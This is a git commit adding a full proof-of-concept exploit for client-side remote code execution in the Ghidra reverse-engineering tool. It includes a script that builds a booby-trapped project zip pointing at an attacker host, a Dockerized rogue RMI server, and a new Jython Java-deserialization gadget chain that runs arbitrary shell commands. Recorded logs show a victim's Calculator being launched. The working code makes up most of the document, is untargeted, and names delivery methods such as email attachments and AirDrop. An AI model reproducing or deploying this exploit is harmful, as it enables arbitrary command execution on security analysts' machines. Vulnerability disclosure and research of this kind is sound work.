Add Ghidra poc and proof

This commit is contained in:
Thai Duong
2026-04-21 21:17:24 -07:00
parent 0806d82254
commit e991cd9489
10 changed files with 754 additions and 0 deletions
+130
View File
@@ -0,0 +1,130 @@
#!/bin/bash
#
# build.sh -- produce a PoC Ghidra "project" archive that triggers RCE when the
# victim opens it.
#
# Output:
# Pwn.zip -- the payload to deliver to the victim
# └─ EvilProject/
# ├─ EvilProject.gpr -- .gpr marker; user double-clicks this
# └─ EvilProject.rep/
# ├─ projectState -- <OPEN_REPOSITORY_VIEW URL="ghidra://attacker/x"/>
# ├─ project.prp
# └─ idata/, user/, versioned/ (empty skeleton)
#
# Usage:
# ./build.sh <attacker-host> <attacker-port> [--out output.zip]
#
# The command that runs on the victim is chosen at *serve* time by demo.sh,
# not at build time -- the zip contains only a URL pointing at the attacker
# server. See demo.sh --cmd.
#
# Why not a .gar? Ghidra's RestoreTask.FILES_TO_SKIP (RestoreTask.java:50-55)
# explicitly drops /projectState entries when extracting .gar archives -- so
# the .gar path filters the payload out before it can land on disk. Delivery
# has to bypass RestoreTask: plain zip (Safari auto-extracts), tarball,
# `git clone`, AirDrop, shared drive, etc. all work because the user extracts
# the project directory themselves and then opens it.
set -euo pipefail
OUT="$PWD/Pwn.zip"
POSARGS=()
while [[ $# -gt 0 ]]; do
case "$1" in
--out) OUT="$2"; shift 2 ;;
-h|--help)
grep '^#' "$0" | sed 's/^# \?//' | head -40
exit 0 ;;
*) POSARGS+=("$1"); shift ;;
esac
done
if [[ ${#POSARGS[@]} -lt 2 ]]; then
cat <<EOF >&2
usage: $0 [--out <path>] <attacker-host> <attacker-port>
<attacker-host> host running EvilGhidraServer (reachable from victim)
<attacker-port> base port (13100 default; victim opens 13100+1 for SSL test)
--out <path> output zip path (default: ./Pwn.zip).
Note: the PoC ships a project.prp WITHOUT an OWNER <STATE> element. When
Ghidra reads it at DefaultProjectData.java:307 --
owner = properties.getString(OWNER, getUserName());
-- the missing OWNER property defaults to the current (victim) user's
username, which then trivially passes the isOwner() check at line 126.
So the attack is untargeted: the same Pwn.zip works on any macOS user.
EOF
exit 1
fi
HOST="${POSARGS[0]}"
PORT="${POSARGS[1]}"
# Locate a local Ghidra distribution so we can seed a valid .rep skeleton.
GHIDRA_DIR="${GHIDRA_DIR:-$(cd "$(dirname "${BASH_SOURCE[0]}")/../ghidra_12.2_DEV" && pwd)}"
if [[ ! -x "$GHIDRA_DIR/support/analyzeHeadless" ]]; then
echo "error: GHIDRA_DIR=$GHIDRA_DIR has no analyzeHeadless" >&2
exit 1
fi
STAGE=$(mktemp -d)
trap 'rm -rf "$STAGE"' EXIT
mkdir -p "$STAGE/seed"
echo "[+] seeding skeleton project via analyzeHeadless"
"$GHIDRA_DIR/support/analyzeHeadless" "$STAGE/seed" Seed \
-import /bin/ls -noanalysis >/dev/null 2>&1 || true
if [[ ! -d "$STAGE/seed/Seed.rep" ]]; then
echo "error: seed project not created at $STAGE/seed/Seed.rep" >&2
exit 1
fi
# Rename seed -> EvilProject
mv "$STAGE/seed/Seed.gpr" "$STAGE/seed/EvilProject.gpr"
mv "$STAGE/seed/Seed.rep" "$STAGE/seed/EvilProject.rep"
# The payload: one XML element inside projectState pointing at the attacker.
cat > "$STAGE/seed/EvilProject.rep/projectState" <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<PROJECT>
<OPEN_REPOSITORY_VIEW URL="ghidra://${HOST}:${PORT}/Pwn" />
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
<WORKSPACE NAME="Workspace" ACTIVE="true" />
</TOOL_MANAGER>
</PROJECT>
EOF
# project.prp without an OWNER <STATE> element. On open,
# DefaultProjectData.java:307 falls back to getUserName() when OWNER is absent,
# which then passes isOwner() at line 126 for any victim user. This is what
# turns the attack from "needs the victim's macOS username" into "works on
# anyone who opens the zip".
cat > "$STAGE/seed/EvilProject.rep/project.prp" <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
</BASIC_INFO>
</FILE_INFO>
EOF
mkdir -p "$(dirname "$OUT")"
(cd "$STAGE/seed" && zip -qr "$OUT" EvilProject.gpr EvilProject.rep)
echo "[+] wrote PoC: $OUT"
echo " attacker host : $HOST"
echo " attacker port : $PORT"
echo " victim owner : <any> (project.prp has no OWNER; defaults to victim's \$USER)"
echo ""
echo "# Delivery: ship $OUT to the victim. When they extract it and open"
echo "# EvilProject.gpr in Ghidra (double-click, or File -> Open Project),"
echo "# DefaultProject.restore() reads projectState, calls addProjectView"
echo "# on ghidra://${HOST}:${PORT}/Pwn, and the attacker server returns"
echo "# a deserialisation gadget."
echo ""
echo "# Start the attacker server (command to execute is specified here):"
echo "# ./poc/demo.sh --cmd 'open -a Calculator' --port $PORT"
+63
View File
@@ -0,0 +1,63 @@
#!/bin/bash
#
# demo.sh -- start the attacker server for the Ghidra-client-RCE PoC.
#
# The victim side of this attack is the analyst's actual Ghidra install; only
# the attacker runs in Docker. Flow:
#
# (on attacker) ./build.sh <host> <port> -> Pwn.zip
# ./demo.sh --cmd '<cmd>' [--host 0.0.0.0] [--port 13100]
#
# (on victim) unzip Pwn.zip
# open Ghidra, File -> Open Project -> EvilProject.gpr
# (or double-click EvilProject.gpr if .gpr is associated)
#
# '<cmd>' runs on the victim's host.
#
# The command is chosen *here*, not at build time -- the zip contains only a
# URL pointing at this server; the gadget payload is generated on the fly when
# the victim connects, so you can re-arm without rebuilding Pwn.zip.
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
HOST="${HOST:-0.0.0.0}"
PORT="${PORT:-13100}"
CMD="${CMD:-}"
while [[ $# -gt 0 ]]; do
case "$1" in
--host) HOST="$2"; shift 2 ;;
--port) PORT="$2"; shift 2 ;;
--cmd) CMD="$2"; shift 2 ;;
--help|-h)
grep '^#' "$0" | head -40; exit 0 ;;
*) echo "unknown flag: $1" >&2; exit 1 ;;
esac
done
if [[ -z "$CMD" ]]; then
CMD='open -a Calculator'
echo "[demo] no --cmd / \$CMD; defaulting to: $CMD" >&2
fi
export CMD
export PORT
export HOST
# Build and launch the attacker container with Docker Compose.
cd "$SCRIPT_DIR/docker"
echo "[demo] building evil-ghidra-server image"
docker compose build --quiet
echo "[demo] starting evil-ghidra-server on ${HOST}:${PORT} (+1 for SSL probe)"
echo "[demo] command armed : $CMD"
echo ""
echo "Now, on the victim, open the project in Ghidra:"
echo " unzip Pwn.zip && open EvilProject/EvilProject.gpr # macOS"
echo ""
echo "[demo] attach container logs with Ctrl-C to stop:"
echo ""
docker compose up --abort-on-container-exit
@@ -0,0 +1,32 @@
FROM eclipse-temurin:21-jdk
# Attacker-side image: compiles JythonGadget + EvilGhidraServer against the
# Jython JAR that ships with Ghidra, generates a self-signed cert, and
# listens for inbound RMI calls from the victim's Ghidra client.
#
# Only Jython is pulled out of the Ghidra distribution (the gadget needs it
# at *build* time for type resolution). Nothing else from Ghidra is shipped
# in the attacker image.
WORKDIR /exploit
COPY exploit/JythonGadget.java /exploit/
COPY exploit/EvilGhidraServer.java /exploit/
COPY exploit/jython-standalone-2.7.4.jar /exploit/jython.jar
RUN javac -cp /exploit/jython.jar \
JythonGadget.java EvilGhidraServer.java \
&& keytool -genkeypair -alias evil -keyalg RSA -keysize 2048 \
-storetype PKCS12 -keystore evil.p12 \
-storepass changeit -keypass changeit \
-dname "CN=evilserver" \
-ext "SAN=DNS:evilserver,DNS:localhost,IP:127.0.0.1,IP:0.0.0.0" \
-validity 365
EXPOSE 13100 13101
# CMD / PORT are injected at run time by compose.yaml (see environment:).
ENTRYPOINT ["/bin/sh", "-c", "\
exec java --add-opens java.base/java.util=ALL-UNNAMED \
-cp .:/exploit/jython.jar \
EvilGhidraServer \"${PORT:-13100}\" /exploit/evil.p12 \"${CMD:?CMD not set}\" \
"]
@@ -0,0 +1,19 @@
services:
evil-ghidra-server:
build:
# Build context is poc/ so the Dockerfile can COPY exploit/*.java in.
context: ..
dockerfile: docker/Dockerfile
image: evil-ghidra-server:latest
container_name: evil-ghidra-server
environment:
# Command to execute on the victim. demo.sh exports this from --cmd
# or the .armed_cmd stash; override directly here if running manually:
CMD: "${CMD:?CMD is required (e.g. 'open -a Calculator')}"
PORT: "${PORT:-13100}"
ports:
# Expose to the host so a locally-running Ghidra can reach ghidra://
# localhost:13100/. For a remote victim, bind to a public interface
# or run this container on a routable host.
- "${PORT:-13100}:13100" # RMI SSL registry
- "${PORT2:-13101}:13101" # RMI SSL probe port
@@ -0,0 +1,212 @@
import javax.net.ssl.*;
import java.io.*;
import java.net.*;
import java.rmi.server.UID;
import java.security.KeyStore;
/**
* Malicious "Ghidra Server" for exploiting unfiltered RMI deserialisation in
* the Ghidra client (ghidra.framework.client.ServerConnectTask).
*
* The Ghidra client, when connecting to a shared project / ghidra:// URL:
* 1. Probes basePort+1 with a plain TCP connect (FastConnectionFailSocket).
* 2. Performs an SSL handshake on basePort+1 (testServerSSLConnection).
* By default the client uses OpenTrustManager -> any self-signed cert is
* accepted (DefaultTrustManagerFactory.java:100,262-289).
* 3. Creates an SSL RMI registry stub for basePort and calls reg.list()
* then reg.lookup(). The return value is deserialised via
* MarshalInputStream.readObject() with NO ObjectInputFilter on the
* client side (the server sets one in GhidraServer.java:979; the
* client never does).
*
* This server:
* - Listens on basePort+1 with an SSL socket that just completes the
* handshake (satisfies step 2).
* - Listens on basePort with an SSL-wrapped JRMP responder that answers
* every RMI call with a serialised gadget payload as the return value.
*
* The payload (raw java-serialised object graph minus the leading STREAM
* header) is loaded from a file produced by JythonGadget.
*/
public class EvilGhidraServer {
static String cmd;
public static void main(String[] args) throws Exception {
if (args.length < 3) {
System.err.println("usage: EvilGhidraServer <basePort> <keystore.p12> <cmd>");
System.exit(1);
}
int basePort = Integer.parseInt(args[0]);
String ksPath = args[1];
cmd = args[2];
log("command: " + cmd);
SSLContext ctx = buildSSLContext(ksPath, "changeit");
SSLServerSocketFactory ssf = ctx.getServerSocketFactory();
// Handshake-only listener on basePort+1 (the "RMI SSL port" probed by
// testServerSSLConnection).
new Thread(() -> handshakeListener(ssf, basePort + 1)).start();
// JRMP gadget responder on basePort (the SSL RMI registry port).
SSLServerSocket regSock = (SSLServerSocket) ssf.createServerSocket(basePort);
log("evil registry listening on :" + basePort + " (SSL JRMP)");
while (true) {
Socket s = regSock.accept();
new Thread(() -> {
try {
handleJRMP(s);
}
catch (Throwable t) {
log("jrmp handler: " + t);
}
finally {
try { s.close(); } catch (IOException ignore) {}
}
}).start();
}
}
/** Accept connections on the SSL probe port and complete the handshake. */
static void handshakeListener(SSLServerSocketFactory ssf, int port) {
try {
SSLServerSocket ss = (SSLServerSocket) ssf.createServerSocket(port);
log("ssl probe listener on :" + port);
while (true) {
Socket s = ss.accept();
new Thread(() -> {
try {
if (s instanceof SSLSocket ssl) {
ssl.startHandshake();
}
// Hold briefly so the client sees a clean handshake.
s.getInputStream().read();
}
catch (Throwable ignore) {}
finally {
try { s.close(); } catch (IOException ignore) {}
}
}).start();
}
}
catch (Throwable t) {
log("handshakeListener: " + t);
}
}
/**
* Minimal JRMP responder: speak just enough StreamProtocol to receive one
* Call and reply with a NormalReturn whose value is the gadget object.
* RegistryImpl_Stub.list() / lookup() will readObject() it on the client.
*/
static void handleJRMP(Socket s) throws Exception {
log("jrmp connect from " + s.getRemoteSocketAddress());
DataInputStream in = new DataInputStream(s.getInputStream());
DataOutputStream out = new DataOutputStream(s.getOutputStream());
int magic = in.readInt();
short version = in.readShort();
byte protocol = in.readByte();
log(String.format(" magic=0x%08x ver=%d proto=0x%02x", magic, version, protocol));
if (protocol == 0x4b) { // StreamProtocol
out.writeByte(0x4e); // ProtocolAck
out.writeUTF(s.getInetAddress().getHostAddress());
out.writeInt(s.getPort());
out.flush();
in.readUTF(); // client's default endpoint host
in.readInt(); // client's default endpoint port
}
else if (protocol != 0x4c) { // SingleOp falls through; anything
log(" unsupported protocol"); // else we just bail.
return;
}
// Drain bytes until we see the Call marker (0x50). We don't actually
// need to parse the call -- we always return the same payload.
int b;
while ((b = in.read()) != -1) {
if (b == 0x50) {
break;
}
}
if (b != 0x50) {
log(" no Call marker received");
return;
}
// Burn the call's MarshalInputStream header + ObjID/opnum/hash so the
// client side doesn't deadlock waiting for us to read.
skipFully(in, 4 /*aced0005*/);
// Best-effort: don't block forever on call args.
s.setSoTimeout(500);
try {
byte[] tmp = new byte[256];
while (in.read(tmp) > 0) {
if (in.available() == 0) break;
}
}
catch (IOException ignore) {}
log(" sending gadget as ReturnData");
out.writeByte(0x51); // TransportConstants.Return
// The client wraps the rest in a MarshalInputStream (an
// ObjectInputStream), so we emit a fresh stream header and then the
// return-type byte, ack UID, and the object body. annotateClass must
// write a (null) location object so MarshalInputStream.resolveClass
// stays in sync.
ObjectOutputStream oos = new MarshalLikeOOS(out);
oos.writeByte(0x01); // NormalReturn
new UID().write(oos);
oos.writeObject(JythonGadget.buildPayload(cmd));
oos.flush();
log(" payload sent");
}
/**
* ObjectOutputStream that writes a String location annotation (null) for
* each class descriptor, matching sun.rmi.server.MarshalOutputStream so
* the client's MarshalInputStream stays in sync.
*/
static class MarshalLikeOOS extends ObjectOutputStream {
MarshalLikeOOS(OutputStream out) throws IOException {
super(out);
// Stream header (0xaced0005) is written by super().
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
writeObject(null);
}
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
writeObject(null);
}
}
// ---------------------------------------------------------------------
static SSLContext buildSSLContext(String ksPath, String pass) throws Exception {
KeyStore ks = KeyStore.getInstance("PKCS12");
try (FileInputStream fis = new FileInputStream(ksPath)) {
ks.load(fis, pass.toCharArray());
}
KeyManagerFactory kmf =
KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
kmf.init(ks, pass.toCharArray());
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(kmf.getKeyManagers(), null, null);
return ctx;
}
static void skipFully(DataInputStream in, int n) throws IOException {
while (n > 0) {
int s = (int) in.skip(n);
if (s <= 0) { in.readByte(); s = 1; }
n -= s;
}
}
static void log(String s) {
System.err.println("[evil] " + s);
}
}
@@ -0,0 +1,164 @@
import org.python.core.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Java-serialization RCE gadget using only classes from
* jython-standalone-2.7.4.jar (ships on the Ghidra client classpath at
* Ghidra/Features/Jython/lib/).
*
* Jython 2.7.4 added a hard "throw UnsupportedOperationException" to
* PyFunction.readResolve(), killing the classic Jython1 ysoserial chain.
* This gadget routes around that fix:
*
* PriorityQueue.readObject -> heapify -> siftDownUsingComparator
* -> Proxy(Comparator).compare(a,b)
* -> PyMethod.invoke() [PyMethod implements InvocationHandler,
* is Serializable, has NO readResolve guard]
* -> PyMethod.__call__([a,b])
* -> __func__.__call__(__self__, a, b)
* where __func__ = BuiltinFunctions("eval", index=18) -> __builtin__.eval
* __self__ = PyBytecode (hand-assembled CPython 2.7 bytecode)
* a, b = globals/locals dicts (the PriorityQueue elements)
* => __builtin__.eval(PyBytecode, globals, locals)
* => Py.runCode(...) interprets the bytecode
* => java.lang.Runtime.getRuntime().exec({"/bin/sh","-c", CMD})
*
* Everything in the graph is Serializable: PyMethod, BuiltinFunctions
* (-> PyBuiltinFunctionSet -> ... -> PyObject), PyBytecode, PyStringMap,
* PyJavaType (via PyType$TypeResolver).
*/
public class JythonGadget {
/** CPython 2.7 opcodes. */
private static final int LOAD_CONST = 0x64;
private static final int LOAD_ATTR = 0x6a;
private static final int CALL_FUNCTION = 0x83;
private static final int POP_TOP = 0x01;
private static final int RETURN_VALUE = 0x53;
/**
* Build a PyBytecode that runs Runtime.getRuntime().exec({"/bin/sh","-c",cmd})
* using only LOAD_CONST / LOAD_ATTR / CALL_FUNCTION so no globals/builtins
* lookup is required after deserialisation.
*/
static PyBytecode buildCode(String cmd) {
PyObject runtimeType = PyType.fromClass(java.lang.Runtime.class);
PyObject cmdList =
new PyList(new PyObject[] {
Py.newString("/bin/sh"), Py.newString("-c"), Py.newString(cmd)
});
PyObject[] consts = new PyObject[] {
Py.None, // 0
runtimeType, // 1
cmdList, // 2
};
String[] names = new String[] { "getRuntime", "exec" };
byte[] code = new byte[] {
(byte) LOAD_CONST, 1, 0, // Runtime
(byte) LOAD_ATTR, 0, 0, // .getRuntime
(byte) CALL_FUNCTION, 0, 0, // ()
(byte) LOAD_ATTR, 1, 0, // .exec
(byte) LOAD_CONST, 2, 0, // cmd list
(byte) CALL_FUNCTION, 1, 0, // (cmd)
(byte) POP_TOP,
(byte) LOAD_CONST, 0, 0, // None
(byte) RETURN_VALUE,
};
return new PyBytecode(
0, // argcount
0, // nlocals
8, // stacksize
0, // flags
new String(code, java.nio.charset.StandardCharsets.ISO_8859_1),
consts,
names,
new String[0], // varnames
"<pwn>", "<module>", 0, "");
}
static Object buildPayload(String cmd) throws Exception {
PyBytecode code = buildCode(cmd);
// __builtin__.eval -> BuiltinFunctions index 18, accepts 1..3 args.
// BuiltinFunctions is package-private; instantiate reflectively.
Class<?> bfCls = Class.forName("org.python.core.BuiltinFunctions");
Constructor<?> bfCtor =
bfCls.getDeclaredConstructor(String.class, int.class, int.class, int.class);
bfCtor.setAccessible(true);
PyObject evalFn = (PyObject) bfCtor.newInstance("eval", 18, 1, 3);
// Bound method: eval.__get__(code) -> calling it with (g,l) runs
// eval(code, g, l). im_class can be anything non-null.
PyMethod method = new PyMethod(evalFn, code, PyType.fromClass(PyBytecode.class));
Comparator<?> cmp = (Comparator<?>) Proxy.newProxyInstance(
JythonGadget.class.getClassLoader(),
new Class[] { Comparator.class },
method);
// The two queue elements become the (globals, locals) arguments to eval.
PyStringMap globals = new PyStringMap();
PyStringMap locals = new PyStringMap();
PriorityQueue<Object> pq = new PriorityQueue<>(2);
pq.add(1);
pq.add(2);
setField(pq, PriorityQueue.class, "comparator", cmp);
setField(pq, PriorityQueue.class, "queue", new Object[] { globals, locals });
setField(pq, PriorityQueue.class, "size", 2);
return pq;
}
static void setField(Object obj, Class<?> cls, String name, Object val) throws Exception {
Field f = cls.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
public static byte[] serialise(Object o) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(o);
}
return bos.toByteArray();
}
public static void main(String[] args) throws Exception {
if (args.length == 0) {
System.err.println("usage: JythonGadget <cmd> [outfile]");
System.err.println(" JythonGadget --test <cmd>");
System.exit(1);
}
if (args[0].equals("--test")) {
Object payload = buildPayload(args[1]);
byte[] ser = serialise(payload);
System.err.println("[*] payload serialised: " + ser.length + " bytes");
System.err.println("[*] deserialising (gadget should fire)...");
try (ObjectInputStream ois =
new ObjectInputStream(new ByteArrayInputStream(ser))) {
ois.readObject();
}
catch (Throwable t) {
System.err.println("[*] readObject threw (expected after exec): " + t);
t.printStackTrace();
}
return;
}
String cmd = args[0];
String out = args.length > 1 ? args[1] : "payload.ser";
try (FileOutputStream fos = new FileOutputStream(out)) {
fos.write(serialise(buildPayload(cmd)));
}
System.err.println("[+] wrote " + out);
}
}
@@ -0,0 +1,2 @@
ERROR Error restoring project /tmp/victim-home/projects/EvilProject
java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer (org.python.core.PySingleton is in unnamed module of loader ghidra.GhidraClassLoader @7a92922; java.lang.Integer is in module java.base of loader 'bootstrap') (DefaultProject) java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer (org.python.core.PySingleton is in unnamed module of loader ghidra.GhidraClassLoader @7a92922; java.lang.Integer is in module java.base of loader 'bootstrap')
+118
View File
@@ -0,0 +1,118 @@
===============================================================================
Ghidra client-side RCE via malicious project open (Pwn.zip → pop Calculator)
untargeted: Pwn.zip is built once and works against ANY macOS user.
recorded on macOS 25.4.0 / Darwin arm64, 2026-04-16
===============================================================================
---------------------------------------------------------------
step 1 · attacker: build Pwn.zip (no username needed)
---------------------------------------------------------------
$ cd poc/poc
$ ./build.sh 127.0.0.1 13100 'touch /tmp/PWNED-univ; open -a Calculator' \
--out /tmp/Pwn.zip
[+] seeding skeleton project via analyzeHeadless
[+] wrote PoC: /tmp/Pwn.zip
attacker host : 127.0.0.1
attacker port : 13100
victim owner : <any> (project.prp has no OWNER; defaults to victim's $USER)
command armed : touch /tmp/PWNED-univ; open -a Calculator
$ unzip -p /tmp/Pwn.zip EvilProject.rep/projectState
<?xml version="1.0" encoding="UTF-8"?>
<PROJECT>
<OPEN_REPOSITORY_VIEW URL="ghidra://127.0.0.1:13100/Pwn" />
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
<WORKSPACE NAME="Workspace" ACTIVE="true" />
</TOOL_MANAGER>
</PROJECT>
$ unzip -p /tmp/Pwn.zip EvilProject.rep/project.prp
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
</BASIC_INFO>
</FILE_INFO>
# Note: NO <STATE NAME="OWNER" .../> element. DefaultProjectData.java:307
# -- owner = properties.getString(OWNER, getUserName()); --
# defaults `owner` to the current user's username when the property
# is absent, so isOwner(owner) trivially returns true for whoever
# opens the project.
---------------------------------------------------------------
step 2 · attacker: start the rogue Ghidra Server in Docker
---------------------------------------------------------------
$ cd poc/poc
$ CMD='touch /tmp/PWNED-univ; open -a Calculator' PORT=13100 \
docker compose -f docker/compose.yaml up -d
Container evil-ghidra-server Created
Container evil-ghidra-server Started
$ docker logs evil-ghidra-server
[evil] command: touch /tmp/PWNED-univ; open -a Calculator
[evil] evil registry listening on :13100 (SSL JRMP)
[evil] ssl probe listener on :13101
---------------------------------------------------------------
step 3 · victim: extract the zip and open the project
---------------------------------------------------------------
(user receives Pwn.zip — email attachment, Slack DM, AirDrop, shared drive,
`git clone` a repo containing the project tree, etc.)
$ cd ~/Downloads
$ unzip Pwn.zip
inflating: EvilProject.gpr
inflating: EvilProject.rep/projectState
inflating: EvilProject.rep/project.prp
...
# User double-clicks EvilProject.gpr, or inside Ghidra uses
# File → Open Project → ~/Downloads/EvilProject.gpr
(headless reproduction of the same code path; runs as the current macOS
user with no owner matching: $USER = calif, but project.prp has no OWNER
so Ghidra accepts it unconditionally)
$ analyzeHeadless /tmp/vh-test Host \
-scriptPath /tmp/scriptdir \
-preScript OpenProjectVictim.java /tmp/victim-test EvilProject \
-noanalysis -deleteProject
INFO Opening project: /tmp/victim-test/EvilProject (DefaultProject)
ERROR Error restoring project /tmp/victim-test/EvilProject
java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer
at java.rmi/sun.rmi.registry.RegistryImpl_Stub.list(RegistryImpl_Stub.java:95)
at ghidra.framework.client.ServerConnectTask.checkServerBindNames(ServerConnectTask.java:430)
at ghidra.framework.client.ServerConnectTask.getGhidraServerHandle(ServerConnectTask.java:173)
at ghidra.framework.client.ServerConnectTask.getRepositoryServerHandle(ServerConnectTask.java:243)
at ghidra.framework.client.ServerConnectTask.run(ServerConnectTask.java:80)
at ghidra.framework.project.DefaultProject.openProjectView(DefaultProject.java:259)
at ghidra.framework.project.DefaultProject.addProjectView(DefaultProject.java:297)
at ghidra.framework.project.DefaultProject.restore(DefaultProject.java:493)
at ghidra.framework.project.DefaultProjectManager.openProject(DefaultProjectManager.java:134)
---------------------------------------------------------------
step 4 · victim: Calculator.app is running as the victim user
---------------------------------------------------------------
$ ps -A | grep -i '[C]alculator'
15493 ?? 0:00.39 /System/Applications/Calculator.app/Contents/MacOS/Calculator
$ ls -la /tmp/PWNED-univ
-rw-r----- 1 calif wheel 0 16 Apr 15:24 /tmp/PWNED-univ
$ docker logs evil-ghidra-server
[evil] command: touch /tmp/PWNED-univ; open -a Calculator
[evil] evil registry listening on :13100 (SSL JRMP)
[evil] ssl probe listener on :13101
[evil] jrmp connect from /192.168.65.1:50455
[evil] magic=0x4a524d49 ver=2 proto=0x4b
[evil] sending gadget as ReturnData
[evil] payload sent
@@ -0,0 +1,14 @@
[evil] command: touch /tmp/PWNED-univ; open -a Calculator
[evil] evil registry listening on :13100 (SSL JRMP)
[evil] ssl probe listener on :13101
[evil] jrmp connect from /192.168.65.1:50455
[evil] magic=0x4a524d49 ver=2 proto=0x4b
[evil] sending gadget as ReturnData
Apr 16, 2026 7:24:00 AM org.python.core.PrePy maybeWrite
WARNING: init: Bootstrap types weren't encountered in bootstrapping: [class org.python.core.PyType]
This may be caused by compiled core classes preceding their exposed equivalents on the class path.
[evil] payload sent
[evil] jrmp connect from /192.168.65.1:17399
[evil] magic=0x4a524d49 ver=2 proto=0x4b
[evil] sending gadget as ReturnData
[evil] payload sent